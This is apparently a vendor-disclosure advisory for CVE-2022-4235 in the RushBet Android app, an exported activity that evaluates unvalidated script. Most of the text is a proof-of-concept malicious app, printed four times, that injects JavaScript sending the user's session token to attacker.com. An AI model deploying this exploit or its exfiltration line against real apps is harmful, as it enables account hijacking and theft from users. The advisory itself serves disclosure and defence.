Description RushBet version 2022.23.1-b490616d allows a remote attacker to steal customer accounts via use of a malicious application. This is possible because the application exposes an activity and does not properly validate the data it receives.
Vulnerability This vulnerability occurs because the application exposes an activity and does not properly validate the data it receives.
Exploitation To exploit this vulnerability, the victim must have a malicious application installed with activity like the following:
MainActivity.java package com .example .badapp ;
import androidx .appcompat .app .AppCompatActivity ;
import android .content .Intent ;
import android .os .Handler ;
import android .os .Bundle ;
import android .net .Uri ;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate ( Bundle savedInstanceState ) {
super .onCreate ( savedInstanceState ) ;
Intent intent = new Intent( "android.intent.action.VIEW" ) ;
intent .setClassName ( "com.rush.co.rb" , "com.sugarhouse.casino.MainActivity" ) ;
intent .setData ( Uri .parse ( "https://rushbet.co/" ) ) ;
startActivity ( intent ) ;
new Handler( ) .postDelayed ( ( ) -> {
intent .setAction ( "Action.EvaluateScript" ) ;
intent .putExtra ( "KeyScript" , "fetch('https://attacker.com/sessionID/'+JSON.parse(sessionStorage.getItem('session-COP')).value);" ) ;
startActivity ( intent ) ;
} , 30000 ) ;
}
}
package com .example .badapp ;
import androidx .appcompat .app .AppCompatActivity ;
import android .content .Intent ;
import android .os .Handler ;
import android .os .Bundle ;
import android .net .Uri ;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate ( Bundle savedInstanceState ) {
super .onCreate ( savedInstanceState ) ;
Intent intent = new Intent( "android.intent.action.VIEW" ) ;
intent .setClassName ( "com.rush.co.rb" , "com.sugarhouse.casino.MainActivity" ) ;
intent .setData ( Uri .parse ( "https://rushbet.co/" ) ) ;
startActivity ( intent ) ;
new Handler( ) .postDelayed ( ( ) -> {
intent .setAction ( "Action.EvaluateScript" ) ;
intent .putExtra ( "KeyScript" , "fetch('https://attacker.com/sessionID/'+JSON.parse(sessionStorage.getItem('session-COP')).value);" ) ;
startActivity ( intent ) ;
} , 30000 ) ;
}
}
package com .example .badapp ;
import androidx .appcompat .app .AppCompatActivity ;
import android .content .Intent ;
import android .os .Handler ;
import android .os .Bundle ;
import android .net .Uri ;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate ( Bundle savedInstanceState ) {
super .onCreate ( savedInstanceState ) ;
Intent intent = new Intent( "android.intent.action.VIEW" ) ;
intent .setClassName ( "com.rush.co.rb" , "com.sugarhouse.casino.MainActivity" ) ;
intent .setData ( Uri .parse ( "https://rushbet.co/" ) ) ;
startActivity ( intent ) ;
new Handler( ) .postDelayed ( ( ) -> {
intent .setAction ( "Action.EvaluateScript" ) ;
intent .putExtra ( "KeyScript" , "fetch('https://attacker.com/sessionID/'+JSON.parse(sessionStorage.getItem('session-COP')).value);" ) ;
startActivity ( intent ) ;
} , 30000 ) ;
}
}
package com .example .badapp ;
import androidx .appcompat .app .AppCompatActivity ;
import android .content .Intent ;
import android .os .Handler ;
import android .os .Bundle ;
import android .net .Uri ;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate ( Bundle savedInstanceState ) {
super .onCreate ( savedInstanceState ) ;
Intent intent = new Intent( "android.intent.action.VIEW" ) ;
intent .setClassName ( "com.rush.co.rb" , "com.sugarhouse.casino.MainActivity" ) ;
intent .setData ( Uri .parse ( "https://rushbet.co/" ) ) ;
startActivity ( intent ) ;
new Handler( ) .postDelayed ( ( ) -> {
intent .setAction ( "Action.EvaluateScript" ) ;
intent .putExtra ( "KeyScript" , "fetch('https://attacker.com/sessionID/'+JSON.parse(sessionStorage.getItem('session-COP')).value);" ) ;
startActivity ( intent ) ;
} , 30000 ) ;
}
}
Thus, when the victim opens the malicious app, the exploit will be executed, thus hacking his account.
Evidence of exploitation VIDEO Our security policyWe have reserved the CVE-2022-4235 to refer to this issue from now on. Disclosure policy
System Information Version: RushBet 2022.23.1-b490616d
Operating System: GNU/Linux
Mitigation An updated version of RushBet is available at the vendor page.
References Credits The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.